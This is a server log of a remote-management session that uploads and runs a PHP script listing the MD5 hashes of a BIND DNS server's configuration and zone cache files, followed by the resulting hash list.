MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:33:28: Establishing a connection
2026-04-24 12:33:28: 

PUT: /tmp/pkp744002

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:33:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp744002; rm /tmp/pkp744002'

2026-04-24 12:33:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
